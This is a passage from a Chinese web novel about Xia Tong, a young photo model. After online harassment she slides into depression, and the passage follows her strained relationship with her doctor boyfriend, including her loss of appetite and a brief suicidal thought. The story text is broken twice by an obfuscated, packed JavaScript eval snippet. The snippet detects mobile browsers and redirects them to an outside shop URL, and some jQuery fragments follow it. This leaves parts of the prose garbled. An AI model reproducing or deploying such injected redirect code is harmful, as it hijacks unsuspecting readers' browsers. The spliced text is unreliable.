照片里的汤圆咧开嘴角,吐着舌头,像是在微笑。它的脸贴着一朵郁金香,花朵和阳光都是灿金色,汤圆脸上的白毛也被染成淡淡的金。 夏曈坐在草坪,没收到沈湛明的回复也不着急。 网络上的流言依然存在,夏曈关闭软件,选择不看不听。 可这终究不是长久之策。 她能躲今天,躲不了一辈子。 她还要靠着自己的努力吃饭呢,凭什么因为别人的恶评而扔掉她的饭碗? 第二天睡醒,夏曈自觉已经心态良好,便将评论区和私信都打开。 依旧是好恶掺半。夏曈将那些特别恶毒的截图留证,恶评删除,好评互动,算是暂时稳住了评论区的风向。 沈湛明找的这位律师办事效率很高,没过几天,那些恶评便消失大半,果然能遏制人性之恶并不是教化,而是法律。 正当夏曈以为事态在逐渐好转时,她的合作方提出解约。 理由呢? “不可抗力。” 夏曈盯着这四个字,冷笑声,最后一通电话打到少爷那。 少爷语气悠闲,“考虑清楚了?跟你那个医生分手,跟了我,我保你以后不缺合作。” 夏曈冷笑道:“别做无用功了,我不需要你的资源照样能立足。至于你,你还是小心点吧,快过年了。” 她挂掉电话,拉黑这个号码,然后把脸埋在手心里。 沈湛明忙于工作,白天基本不在家,晚上偶尔也要加班。夏曈独自一人待在空荡寂静的房间里,虽有汤圆的陪伴,但是人一旦闲下来,就会控制不住地胡思乱想。 她以前从不觉得自己心理承受能力弱,不过是那时经历得太少,一次考试,一次批评,就是她生活里能面对的最大挫败。 跟如今比起来,那些算得了什么。 夏曈在家休息的第七天,杜静兰打来了电话。 “夏曈!” 杜静兰的声音里含着怒意,似乎被旁边的人劝了句,才放缓语气,冷声问,“曈曈,你最近很缺钱吗?” “不缺呀,” 夏曈这几天都没敢跟家人联系,生怕不小心哭出来。此时乍一听见杜静兰的声音,就心中一阵暖意,甚至忽略了杜静兰语气里的不悦,忍不住笑盈盈道,“但如果您想给的话,多多益善呀……” 杜静兰冷声打断她:“夏曈!如果缺钱跟你妈要,别动那些不好的心思,明白吗?” 夏曈猛地一怔,笑意僵在脸上。 “……妈?” 电话那边似乎在争执着什么,隐约传来苑菲菲的声音。 随后杜静兰叹了口气,“曈曈,你怎么说也是正儿八经F大毕业的,妈不要求你能有多体面的工作,但你至少让妈跟人聊天时有话讲吧?不能别人说起自己孩子,都是什么,啊,科研所、出国深造、大学讲师之类的,到了我,我就只能讲你在那个网上拍照挣钱,你看你现在做的!这个、这什么模特,闹的都是什么事!” 夏曈握住手机的手指都在抖,艰难出声道:“……妈,你看到什么了?” “妈是什么都没看到,可人家电话都打到妈手机上了!”杜静兰恼火道,“我还能装不知道吗?” 夏曈沉默,杜静兰也没吭声,耳边唯有彼此的呼吸起伏。 这时,体弱的苑菲菲终于从杜静兰手里抢过电话,喘着气跟夏曈说:“曈曈啊,别跟你妈妈生气,知道吗?她不就这样,嘴上说话能气死人,其实心里都是为了你好呢。” 见她没吭声,苑菲菲又小心翼翼地:“那些废话我们都不信的,曈曈,跟你打电话也没别的意思,就想问你现在状况怎么样?要不要我跟你妈妈去看你?哥哥呢,没在你身边陪着吗?这孩子,我叫他别整天只顾着工作。” 夏曈没答,她吸吸鼻子,半晌才轻声说:“菲菲阿姨,那些都不是真的。” 苑菲菲连忙道:“阿姨知道,阿姨看着曈曈长大的,还能相信那些谣言吗?” 杜静兰在旁边大声道:“当时她如果不干这个,根本就不会出现这些谣言!一份正经工作不比什么都强?!” 苑菲菲捂住手机,“你少说两句啦!” 旋即对夏曈说:“曈曈,咱不跟杜静兰一般见识,年纪算不上老,却固执得很。” 夏曈说不出什么话,只鼻音很重地“嗯”了声。 她伸手想去抽纸巾,却发现纸巾盒离得好远,于是低头在汤圆毛茸茸的脑袋上蹭了一把。 汤圆被蹭得飞机耳,甩了甩脑袋溜达走了。 苑菲菲还在柔声安慰着,为了不让她过分沉浸在这些事上,慢慢把话题扯到日常生活,夏曈很乖巧地应。 她觉得苑菲菲可能知道她在和沈湛明同居,但苑菲菲心思细腻,从不放在明面上提。 夏曈也红着脸配合。 夏曈其实很想听杜静兰的声音,但杜静兰不知是真的气狠了,还是怎么样,直到通话结束都没再和她说一句话。 夏曈挂断电话,捂住脸重重叹了一口气。 这天晚上,她蜷缩在沈湛明怀里,轻声说:“我也知道应该多看一些美好的评论,这个网络上并不是每个人都那么坏,还有很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她睡时喜欢侧身,以便整个身躯与他更紧密地贴合。 因此她的脊背微弓。而沈湛明伸臂揽着她的腰,掌心温暖有力,是在睡梦里也下意识呈现的保护姿态。 “我是不是特别废物啊?” 夏曈眨眨眼,声音极轻地问。 “我以前还觉得那些被骂几句就去轻生的人是心理脆弱呢,可是事情摊到我身上时,一点小小的挫折就能轻易击垮我。” “我的心理很脆弱吧?生活给我轻轻一击,我就毫无还手之力地摔倒在泥坑里,没有一丁点站起来的勇气,就这么躺在坑里慢慢死掉……” 夏曈转身看向幽暗的窗,眼泪滑落,再洇湿枕头,在耳边发出极轻的闷响。 她抬手抹去泪水,却并未注意到,黑暗里,沈湛明不知何时已醒,沉缓而静默地自后凝视着她。 - 一周后,那资方少爷家的公司宣布破产。 夏曈听到消息时震惊不已,这公司在广告传媒行业也算有头有脸的,没想到说垮就垮。 她连忙搜索本地新闻,琢磨了几分钟后,发现……还真是垮得十分丝滑啊! 首先是大客户以预算砍半为由终止与其合作,公司失去主要现金流,其次供应商忽然催款,这边拿不出那么多钱,人家态度强硬,当即停止服务,内部业务直接停摆,随后核心团队集体跳槽,其中某位曾与董秘发生过拳脚斗争的前员工决定执行正义,实名向有关部门举报该公司存在税务问题,一套连招下来,这公司被揍得鼻青脸肿,直接走上了破产清算的流程。 公司董事带着儿子想卷款潜逃,机场都没进去就被拦住。家里几套别墅豪车全部处于被执行的状态。 夏曈留意到那位终止合作的大客户——岚乔资本。 核心团队则是被重金挖去了宴江传媒,岚乔资本底下子公司的子公司之一。 如果她没记错,沈湛明的小姑沈竹君就是岚乔的股东之一。 那个明知她有男友,还扬言要追她的谢桁的姥姥,则是岚乔的董事长。 夏曈没心情再去猜这事到底跟谁有关系,她很累。但无论如何,结果都是好的。 没有那些水军的骚扰,她的账号评论区很快恢复了美好。 夏曈躺倒在沙发,抹掉脸上不知何时流淌下来的泪水,笑说:“汤圆,我们待会去公园好不好呀?” 24. 第 24 章 夏曈正在变得越来越乐观。 她继续参与拍摄工作,快速消瘦让她脸颊的婴儿肥褪去,显得更上镜,眼里下意识流露出的疲倦与厌世感,则让她有能力驾驭更多造型。 夏曈对这样的自己很满意,她忙碌了整个上午,依旧精神极度亢奋,半点察觉不到饿。 同组拍摄的人在旁边小口吃着沙拉,夏曈拒绝负责人递来的午餐,低头看手机。 沈湛明发来信息:曈曈,午餐吃的什么? 夏曈随意瞟了眼摄影师的午餐,垂眸打字:是土豆牛腩哦,很香! 沈湛明:拍照给我看一下,乖。 夏曈笑容不变,继续撒谎:吃完啦,已经扔掉了,哥哥,下次再给你拍,好不好? 沈湛明没说好还是不好,只问她:晚上想吃什么? 夏曈琢磨半天:还没想好呢,待会再说吧,我要工作啦! 她按灭手机,笑意盈盈地跟旁边的人说话。 这时包里手机屏幕又亮了下,夏曈注意到了,也许是沈湛明的消息。 她没管。 晚上回到家,客厅灯关着,屋里一片昏暗,唯有电视机散发出幽幽的光。 沈湛明坐在沙发上,转过头,静默地凝望她。 夏曈拍开灯,在玄关躬身换鞋,“你在等我吗?” “嗯,” 沈湛明起身走过来,高大的身影笼罩住她,嗓音低沉微哑,“怎么不接我的电话?” 夏曈察觉到他想要拥抱的意图,侧身避开:“外面好吵,听不到铃声,也没有看手机。” 沈湛明的手在半空顿住,又放下。 她走到餐桌的位置,发现桌上摆满饭菜,只是毫无热气,不知沈湛明做好以后又等了她多久。 “不知道你想吃什么,就都做了些。”沈湛明走过去端起餐盘,“已经冷了,我再去热……” 夏曈打断他:“不用。” 沈湛明动作微顿,侧过脸看她。 “我在外面吃过了。” 夏曈迎着他沉静中隐有怒意的眼神,抿唇微笑:“所以你只需要热你的那部分晚餐就好。” 她化了浓妆,绚烂的颜料铺展在薄薄眼皮,在明亮灯光下,仿若展开的斗鱼鱼尾。 沈湛明静静凝望着她。 她企图以这种厚厚的妆容遮住脸容的疲倦,可沈湛明何其了解她。他可以透过任何细枝末节判断她的情绪状态,即便她耍再多的花招。 他将餐盘搁置在桌上,发出不轻的声响,“吃过了?” 夏曈点头:“对。” 沈湛明又问:“午饭吃的土豆牛腩?” 夏曈扭过脸:“对。” 接连几天,沈湛明都被她以同样的借口冷落。他本不想和她发火,但她态度如此之差,又差得如此坦然,他语气不由冷沉:“夏曈,你还记得这是第几次使用这个借口吗?” 夏曈睁大眼:“你是说我在撒谎吗?” 沈湛明抿唇。 她敷衍至此,连个新鲜借口都不肯想,被戳穿后还要反过来质问他。 可夏曈并非故意敷衍,她是真的记不得自己都说过什么。 沈湛明压着火,还是不舍得对她严厉,语气尽量温和道:“曈曈……” “我有这个必要吗?”夏曈皱起眉,“我有这个必要吗?我真的不饿,沈湛明,你为什么总逼着我吃东西?” 沈湛明头疼不已:“你今天只吃了一顿早饭,还是我盯着你吃下去的。如果我不管你呢,你是不是要绝食?夏曈曈,你知道自己现在瘦了多少吗?” 她食欲差得要命,脸颊肉都瘦没了。为了能让她多吃点,今早沈湛明专门开车去了一条街外的商场买来她喜欢的蟹粉小笼包,哄她良久,才慢吞吞地吃下去两个,那勉为其难的表情,似乎比吃药还难。 夏曈听罢,歪着脑袋看他良久,蓦地笑了:“瘦了,手感就不好,影响你床上体验了是吗?” 沈湛明听见这话,脸色瞬间变得极为难看。 夏曈转身,不再理会沈湛明眼中冷意,快步走去浴室。 浴室门咣当一声关闭,夏曈胡乱将衣物撕扯掉,丢到一旁,抬腿迈进仍在进水的浴缸,抱着膝盖无声痛哭。 她也不知道自己怎么了,她很烦躁,她在拍摄时配合着做出夸张大笑,脸部肌肉被牵扯得僵硬发疼,摄影师夸赞她令人震惊的表现力,夏曈微笑听着,心里只觉得讽刺。 拍摄结束后,所有人都在欢呼庆祝,她也跟着笑,但没有任何喜悦,唯有空虚与疲惫。 夏曈并不近视,可不知从何时起,她每次出门,眼里看到的世界都是一片模糊。 夏曈不敢跟任何人倾诉这些感受,更不敢和沈湛明讲。 无论是爸妈,还是苑菲菲、沈湛明,他们都对她太好了。 她的心好像一只小小的玻璃罐,已经悄无声息被各种负面情绪塞满。她也想接纳他们递来的爱,可是她太没用,做不到将那些负面的东西丢弃,只会一味填塞。而总有一天,她的玻璃罐会因此炸开。 太满的爱,对现在的夏曈来说,是一种负担。 他们对她越好,她就越愧疚,她现在的腐烂就越衬得他们的用心浇灌是个笑话。 尤其是沈湛明,他把所有的爱、包容与耐心都给了夏曈,可夏曈没有成长为一个美好的女孩子的模样。 夏曈在外面表现得成熟得体,知礼温和,她观察周围人的行为举止,并尝试模仿,努力扮演一个世俗意义上的大人。 可真实的夏曈不是这样的。 她脾气很差,自私自利,矫情幼稚,还会撒谎骗人。哪怕对男朋友沈湛明,她也从来学不会考虑他的感受,除了偶尔撒娇能哄他笑笑之外,就只会对他一味索取。 在他们恋爱的第六年,夏曈恍然惊觉,原来他们之间的情感付出根本不对等。 沈湛明对她,是单方面的、无限包容。 夏曈问自己:我配吗? 如果没人对她好就好了,那么她可以烂得心安理得。 不像现在,她背负那么多的期待,连变坏都会有心理负担。 夏曈将自己泡在热水里,麻木与崩溃的情绪交替出现。 到最后,她忽然觉得很烦。 怎么活成这个矫情劲儿? 想这么多做什么,干脆去死好了。 她做了几个深呼吸,泪珠混入水里。 再睁开已经哭肿的双眼时,却见沈湛明蹲在浴缸边,静默地凝视她,眼尾泛红。 夏曈怔住,没作声。 她的丑态又被他看到了。 她怎么就不能在他面前表现出自己美好的一面呢? 夏曈与他对视,一颗心逐渐往下沉,眼神也变得麻木。 沈湛明伸手抚摸她的脸,指腹都在颤抖,“曈曈,你怎么了?” 夏曈从没见过沈湛明这种眼神,仿佛下一秒都能哭出来。 我又在伤害他。 夏曈平静地想。 不可以再这么对他了。 她默然良久,唇角绽开笑容:“我没事啊。” - 夏曈被沈湛明用浴巾裹住,放在柔软的床榻上。 她感知不到自己的身体,也丝毫没有被薄毯包围的温暖。 在压覆上来的时候,沈湛明还问了句:“真的不饿?” 夏曈笑得漫不经心:“也许做完就饿了。” “不舒服告诉我。”沈湛明扯开她的浴巾,在她唇瓣印下一吻。 饶是这种时刻,夏曈还有心思调侃他:“好像半个多月没做过了耶,哥哥,你是不是特别想?” 她屈膝蹭了蹭,意味明显地笑了声。 沈湛明没答这句。 实则他身体上的表现更诚实,不必再付诸于话语。 他空出右手,轻而易举抓住她两只纤细骨感的腕,按在头顶,“以后有话要跟我讲,不许再这么闷在心里。” 夏曈眼珠湿润,胡乱转动着,不肯看他。 她仍逃避话题,委屈巴巴:“你好凶。” 沈湛明眼神无奈,“我还能怎么样才不凶?” 她提出想和他做,也不过是怕他问起方才为何哭。 此刻耍了同一个花招,依然是为了堵住他的嘴。 沈湛明也清楚,硬问是问不出的,不如遂她的心愿。 至少她待会体力耗尽,能乖乖吃一顿饭。 之后的,他再慢慢来。 反正对她,他一向有的是耐心。 夏曈手腕被制,挣了两下,没挣开,也就不再费力。沈湛明在床上一般是很温柔的,偶尔性急时,也会显露出强势与侵占。 她星眸含泪,咬着唇尽力不哼出声,在意识涣散时,忽然脱口问道:“哥哥?” 沈湛明停下动作,以为她不舒服:“嗯?” 夏曈语不成句:“如果,我是说如果,我再温柔一点,再成熟一点,你是不是就会更喜欢我了?” “噢,再温柔一点,再平和一点,” 沈湛明吻着她的侧脸,气息微乱,“那她是谁呢?她还是我的乖乖吗?” 夏曈坚称:“是呀。那是一个与你更般配的、更成熟的我。” “什么成熟不成熟的。” 沈湛明揉了揉她的脑袋,叹道:“你 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夏曈心情好的时候,可以暂时理解他的用心。 但烦躁情绪涌上来时,她便忍不住讨厌沈湛明。 同时,也更厌恶自己。 这份厌恶,在沈湛明有次带她来到医院心理科时,达到顶峰。 走廊里人来人往,即便戴着口罩,也能闻到那种医院里特有的味道。 夏曈抬头看着那刺目的几个大字,脸上笑意僵住,颤声问:“沈湛明,你觉得我有病吗?” 她的脸色在医院走廊映照下苍白如鬼,两行清泪立时流淌而下。 “曈曈,我们只是进去和郑医生聊会天。” 沈湛明轻声道:“郑医生你见过的,之前你来医院找我,她还送了你一个钥匙坠,记得吗?” 夏曈的脑海中一片茫然,爬满红血丝的眼眶里充斥了不可置信。 她喃喃道:“什么郑医生,我根本没见过,都是你编出来的,你就是觉得我有病,你觉得我没用,对不对?” 沈湛明无论如何对她狠不下心,只抬臂将她拥在怀里,闭眼道:“不是,我不觉得曈曈有病。” 他低声抱歉:“是我错了,我不该带曈曈来这里。” 夏曈低头将脸颊埋在他的胸膛,两条手臂无力垂下,并不给他半点的回应。 夏曈回家,此后两天都没和沈湛明说话。 她每天都照常出去,面对陌生人和邻居一脸微笑,活力满满。但回到家关上门时,脸上的笑容就像被戳破的气球,迅速瘪下去,露出她本身的疲倦与绝望。 沈湛明顶着无数的压力,向医院请了长假,在家里照顾夏曈。 夏曈还是喜欢出门的,这天她在临海广场上投喂海鸥时,遇到了一个同样来散步的中年妇女。 女人很有气质,谈吐风趣而温和,夏曈对她很有好感,不知不觉就聊了很久。直到海鸥在她帽子上拉了一坨大便,才尖叫跑开,去找沈湛明。 沈湛明摸了摸她被风吹红的脸颊,把她送去咖啡馆坐一会儿,之后去外面与郑医生通电话。 “人前强颜欢笑,人后情绪崩溃。精神极度疲惫,还强撑着和我开玩笑,她平时也有注意力下降,反应变慢的表现吧?情绪波动很大,觉得自己很没用、是累赘,习惯性自我否定,但当你关心她,她又表现得好像一点事没有。” 郑医生道,“所以,沈医生,你女朋友的情况与你推测的基本一样,高功能抑郁症。” 沈湛明捏紧手机,涩声道:“……好,我知道了。” 郑医生:“该怎么做,也不用我多说了。沈医生,‘接住她’,并做好长期照顾她的准备,如果出现情况,及时来医院就医。” “好。谢谢。” 海风太凛冽,刮得沈湛明眼眶生疼。 他转身看去,视线隔着一条街的距离落在夏曈身上。 咖啡馆的灯光明亮而温暖,落地玻璃窗上贴着圣诞装饰,节日氛围浓厚。夏曈孤零零坐在那里,神情疲倦地摆弄着一个赠品玩具,红色高领毛衣更衬得她脸蛋皙白细腻,那双眼却如死水。 日落时分,华灯初上,沈湛明站在灯光照不到的阴影里,痛苦而静默地凝视她。 他的乖乖,他捧在手心里哄着的人,天不怕地不怕,娇气得他都不舍得凶半分,两家人倾注了无数爱意才养大的女孩子,怎么就会生病呢? 沈湛明推开咖啡馆的门,铃声清脆。 夏曈慢半拍地抬起头,扯起唇角,勉力微笑,“哥哥。” 他走过去,握住夏曈的手,“乖乖。” 25. 第 25 章 圣诞节的那天晚上,沈湛明在厨房做饭,夏曈抱着汤圆走近,轻声问:“哥哥,你明天去上班吗?” “不去,在家陪你。” 沈湛明顺手夹起一块做好的糖醋鱼,喂到她嘴巴里,“曈曈有想去的地方吗?我们出去玩好不好?” 夏曈闻言沉默。 沈湛明回头看她,尽管这段时间饮食规律了些,她脸颊仍小小的,软肉没长多少,皮肤瓷白细腻,浓纤的睫毛在眼下投射出一片阴影,瞧起来几分脆弱。 “曈曈?” 夏曈将汤圆抱在胸前,下半张脸埋在毛茸茸的脑袋,“你不工作了吗?” 她的眼珠微动,声音小而轻。沈湛明很想揉她的脑袋,他洗手擦干,手指穿过她轻凉的发丝,不轻不重捏着她的后颈,“最近不忙,我请了年假,在家陪你。” “唔,”夏曈闷声道,“是不是因为我生病了,你才没办法去工作的?” 沈湛明一怔,下意识否认:“不是,曈曈没生病。” 他捏着她的后颈,一个床上惯有的完全掌控的姿势,“是我前段时间太累了,想在家休息,也陪陪你。” 夏曈抿唇与他对视,轻声说:“不耽误你工作就好了。” “不会。” 沈湛明观察她脸上的细微神色,温声安抚道:“曈曈,不用在我面前故作坚强,你有任何想法,好的,不好的,只要你想说,哥哥就在这里听。好不好?” “还记得吗?小时候你爬树摔破膝盖,过了好几天才结痂,半年才痕迹全消,所以伤口不会很快就愈合的。不要急,我们有很多时间可以慢慢好起来。” 沈湛明揉了揉她的发顶。 但夏曈没吭声,抱着汤圆返回客厅沙发。 饶是沈湛明安抚,夏曈仍在心里止不住焦虑,自厌自弃。 她心理和身体状态差到没办法工作,只好在家待着。可越待就越心慌,忍不住胡思乱想,认定自己是个累赘。 如果没有她的拖累,沈湛明的事业将会无比顺利。 终于,在圣诞节过后的第三天,她向沈湛明提了分手。 那时他们在月牙湾散步,沈湛明的手中拎着一个袋子,里面是她吃了一半的抹茶千层。 “什么?” 他愣在原地,有那么一瞬间,以为自己听错。 夏曈低垂眼睫,声音轻轻的,仿佛风一吹就散,“我说分手。” 沈湛明低眸凝视她,语气冷沉:“理由。” “分手还需要理由吗?我不想和你在一起了。” 沈湛明下颌线紧绷着,一瞬不转地凝视她的脸。 夏曈扭过头,听到他的声音冷了几分:“这种玩笑以后少开。” “我没在开玩笑。” 沈湛明没说话,掌心握住她手腕,将她塞进副驾驶,随后发动车子,往家行驶。 夏曈的头发被风吹乱,抬手拨弄两下,“我说分手,沈湛明。” “嗯。”沈湛明掌着方向盘,“我不同意。” 夏曈扭脸看向窗外,轻声道:“这种事需要两个人同意吗?我单方面宣布分手,好不好?” “不好。” 前方红灯,车子停止,沈湛明去探她冰冷的手,握在掌心暖着,“我们之间,不是你想结束就能结束。” 夏曈试图将自己的手从他掌中拽回来,却被抓得更牢。 她放弃挣扎,“那我们定个期限,你要多久能接受?我再陪你一段时间。” 沈湛明眉头压低,“我在意的是这个?” “我们根本不合适,不可能一辈子在一起,” 夏曈无力地靠在椅背,闭上眼,“你也无法像现在这样一直抓着我。” “我们在一起六年,到现在你说不合适?”沈湛明拧紧眉心,“我觉得很合适。” 夏曈抿唇。 他们彼此知根知底,双方父母关系好得像一家人,哪怕夏曈现在打电话回家,说要和沈湛明过后半辈子,四位爸妈也能迅速接受。根本不存在磨合期。 可以说,他们之间除了那张证,什么都有了。 可夏曈就是讨厌这样的稳定。 事情越顺利,她越抵触。她是一个即将烂掉的人,就该找个地方静静待着,而不是在对她仍抱有希望的家人们面前,状若无事,承受他们过度的关心。 夏曈要的是无拘无束,而非以爱为名义的捆绑。 她脸色苍白道:“我受够了,沈湛明。跟你在一起,我觉得很烦。” 沈湛明定定看着她,一言不发。 他的眼珠漆黑,在光线暗淡的车内显得尤其阴翳冷漠,给人一种涌动的压迫感。 这时,绿灯亮起。 他放开她的手,握住方向盘,“你现在心情不好,这些话我就当没听见。” 车子向前行驶。夏曈的手被他攥疼,肌肤上浮现出明显的红。 她想起昨晚,杜静兰女士专程打来电话,叫她停掉那些抛头露面的事情,收拾好自己,去寻求一份正经的、体面的工作。 彼时夏曈反问:什么叫正经、体面呢?我自力更生,不偷不抢,我挣的每一分钱都是干干净净,这样还称不上正经体面吗? 杜静兰压着怒火:咱们家里那么多亲戚,有哪个像你一样的惹出这些事?你整天出差,离家那么远,又辛苦又累,图什么?比得上在家附近找份稳定的工作吗?夏曈,你是个女孩子,能普普通通的、不惹祸、不遇灾就很好了。可你现在这么不听话,叫妈怎么放心? 温和但不容反驳的声音仍在脑海里回荡。 夏曈眼睫轻颤。 她家中长辈基本都有稳定的工作,循规蹈矩了一辈子,观念保守固执,这本没有错。可是,不应该凭借过去的经验而试图折断她的羽翼。 夏曈感念他们的爱,但有时又觉得窒息。 她在家里的任何情绪、举动、细节,只要杜静兰知道,苑菲菲就一定会知道。夏曈把苑菲菲当第二个妈,这倒可以忍受。 但之后,家属院里和杜静兰关系好的长辈们,以及亲戚们,便也知道了夏曈的叛逆与顽劣。 甚至当夏曈和杜静兰吵架时,那些亲戚们会化身和事佬,劝夏曈跟妈妈好好相处。 杜静兰不是有意当大喇叭,她只是太在乎夏曈了,她工作忙,怕自己和女儿关系会生疏,于是到处取经。她一味地灌输爱,可同时也从不会考虑夏曈自己的感受。 这就导致,夏曈觉得自己的身边好像有个镜头。 她生活在聚光灯下,而杜静兰就是她的摄影师。 直到夏曈高中时和杜静兰大吵一架,跑去苑菲菲家住了整整一周,杜静兰才终于意识到自己的问题,也终于明白,夏曈是个有自己想法的孩子,而不是只能任由她捏造的洋娃娃。 杜静兰终于学会了闭嘴。 但为时已晚。 这些过度的关心,将夏曈托举,也如细密的丝线,将她紧紧缠绕。 她有时甚至会大逆不道地想:如果她没有受到那么多关注就好了。 这样,无论她幸福还是痛苦,都不会有人过度纠正她的生活。 - 一路无话,直到进了家门,沈湛明才轻声开口:“曈曈。” 屋内没有开灯,昏暗里,夏曈的眼睫轻颤,他的声音低低传来:“你是怎么想的?” 她坐在沙发,抠着手指:“想分手。” “总要有个理由,”沈湛明压着胸腔里的怒火,十足耐心道。 “我们谈得够久了,我觉得腻了。” 夏曈低声。分明昨晚她失眠严重,还一个劲往他怀里钻。 “腻了。” 他语气低沉,对这两个字极为在意。 沈湛明眉头紧蹙,明知她状态不好,总爱说些没头没脑的气话,不能太放在心上,但此刻仍被她的话激怒。 两人之间隔了半臂的距离,夏曈抱着抱枕,抓住让他恼怒的点,继续发散:“我连早恋都没有过,高中就跟你在一起,到现在六年,我都没接触过别的男生。” 沈湛明听懂了她的意思,“你觉得委屈,觉得只跟我在一起,很吃亏,是吗?” 夏曈一怔,她也没这么渣吧。 “是。” “恋爱之后就不能再喜欢别人。这不是我们刚在一起时就说好的吗?你现在又要反悔。” 夏曈真的没有印象,“高中说过的话谁还记得,我连昨晚吃的什么饭都忘记了。” “我记得。”沈湛明低声道。 “可那时候说的话又算什么数,谁能在不到二十岁的时候就许诺一辈子?” 沈湛明默了瞬,视线蓦地锐利,“你对外面哪个男人心生好感了?” “……暂时没有。” 夏曈抬头,看到沈湛明的脸色稍微缓和些许。 “那么,别再提分手,我不同意。” 到了这种时刻,沈湛明仍照顾她的情绪,没有把话说死,“曈曈,你有任何想法,都可以告诉我。但分手这件事,等春天到了再说。” 夏曈松了口气,看来他对她并没有那么执着,她是有希望离开的。 “可是,”她歪头,“为什么要等到春天?” 沈湛明浓睫低垂。 他这段时间在家照顾夏曈,能看出夏曈的精神状态好了很多。 至少不像以前那样低沉麻木。 还能有力气和他顶嘴。 这样下去,等明年春天到来,也许她就会好起来。 沈湛明只希望她好。 他淡声道:“每一年换季你都乱穿衣服,如果生病,你能照顾好自己吗?” 荒谬。 夏曈对这个理由感到可笑。 她别过脸,笑了声:“沈湛明,你也别把我当废物吧,我离开你照样能过得很好。” 沈湛明没搭理这句话。 他心里积攒的怒意已经到达临界点,再谈下去,他怕忍不住对夏曈发火。 他起身离开沙发,去泡了杯挂耳咖啡,随后走进书房,准备处理一些论文工作。 客厅里蓦地安静,唯有他敲击键盘的声音偶尔响起。 夏曈在落地窗边蹲了会儿,看到外面街道上枯萎的悬铃木,一派萧瑟的寒意。 现下还不到深冬,春天何时才能到来? 她觉得自己是中了沈湛明的缓兵之计,于是起身追到书房,“你能去医院吗?我想一个人待着,好不好?你总在家里看着我,让我觉得自己是个一无是处的废物。” 沈湛明动作顿住,蹙眉道:“什么?” “你不要再管我了。” 沈湛明深吸一口气。 他已经尽量降低对她的关注,因为对于现在的夏曈来说,过度的关心只会变成压力。 可她仍不满意,难道非要他彻底放手,她才肯消停吗? 沈湛明耐着性子问:“我不管你,你准备去做什么?” 夏曈垂下眼睫。 “你不要再这样了,沈湛明,我已经长大了,不需要你24小时查岗盯梢。” 她无力地说,“我叫你一声哥哥,你还真的把我当妹妹吗?即便是亲兄妹,也不会像我们这样……这样密不可分吧。” 沈湛明脸色蓦地变了。 “说到底,你从来没把我放在与你平等的位置上,你觉得我这辈子都长不大,就该被你保护、被你照顾,所以你就心安理得把我养成一个什么都不会的废物。” 沈湛明声线变冷:“我比你年长,照顾你是应该的。至于你最后一句的用词,曈曈,我不觉得你是这样。” 夏曈默了瞬。 她的声音虚弱,带着一种求饶般的意味:“可是沈湛明,我都能看出来这种感情是畸形的、不健康的,你比我年长几岁,却看不出问题?还是说,你本来就很享受这样啊?之所以这么缠着我不放,就是因为跟我在一起,更能满足你那种变态的控制欲,是不是?” 话音落下,书房内一阵死寂。 汤圆迈着小短腿要跟过来,却敏锐察觉到气氛的冷锐,在门口徘徊,久久不敢进来。 沈湛明向后靠在椅背,视线穿透薄薄镜片凝视她良久。 他能感觉到,自己的心脏正在急速而有力地跳动,快要冲破肋骨和肌肉的阻隔,跳出胸膛。 咖啡泡好,苦涩的味道飘满书房,但还没来得及喝。 所以,他的异常激动,不是咖啡因在起效。 纯粹是被气的。 “你是这样想的吗?” 沈湛明轻声,重复了一遍她的用词,“我在掌控你。” 他的行事作风承自沈教授,不偏激、不冒进,在稳妥中探求进步。无论读书还是工作,规划与行动缺一不可,他必须确保一切事物都在手下有条不紊的进行,如果非要把这称为掌控欲,沈湛明不辩驳。 但他对夏曈,往往是纵容居多。 因她年纪小,处事青涩,他身为年长的那一方,难免要多费心些。 这在夏曈眼里,竟能曲解为掌控欲。 沈湛明不知该怎样做,才能达到她心中理想的状态。她以往六年都说喜欢他喜欢得不得了,哼哼唧唧馋鬼上身一样,扒住他就啃。此刻忽然翻脸,也开始指责他的不是。 夏曈抿唇道,“你对我的感情,不是平等的感情。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469388|201394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 沈湛明气到无言,反倒弯唇笑了出来。 他倒要看看,这张小嘴还能说出什么惊世骇俗的话来。 “哦,”沈湛明扬眉,“那是什么?” “你对我,是同情、可怜,是习惯使然,” 夏曈抬头看他一眼,见他脸色平静,没有发怒的迹象,于是继续道,“因为你从小就被菲菲阿姨教导,要对我好,所以你才这么照顾我。这么多年,你只是习惯了这么对我,而不一定是男女之间的爱。” 沈湛明眯起眼。 夏曈硬着头皮道:“也可能只是哥哥对于妹妹……” “胡闹!” 沈湛明冷声打断,“夏曈,你当我是什么?活了二十多年连爱情和亲情都分不清的混蛋吗?你见过哪个哥哥会同意和妹妹一起睡觉的?” 夏曈睁大眼,怔怔看着他。 沈湛明站起身,两人之间的身高差让他的身影充满压迫感,夏曈的视线堪堪停留在他宽阔的肩,不由得后退半步。 “你胡思乱想些别的也就罢了,要分手我也不说什么,”他顿了下,似是在说什么极不情愿的话,“总归我不能逼着你跟我在一起。” 沈湛明抑着怒意:“但是这种混账想法以后不准再有!” 夏曈极少见到他动气的样子。她的视线落在他按在沉木桌面上的清健有力的手,此时用力攥着,青筋暴起。 视线沿着他的手臂逐渐向上攀,最终停留在他的面。夏曈默然凝视着沈湛明,他的脸上有愠怒,也有种说不出的低沉。 他像是对她没了办法。 可是很奇怪,他在难过什么呢?她都这样了,他该同意分手了吧。 如果不是她拖拽着,沈湛明此刻应该很轻松才是。 不知是她的那番话起了作用,还是沈湛明厌倦了她的口无遮拦,第二天他还是返回医院,直忙到深夜才归家。 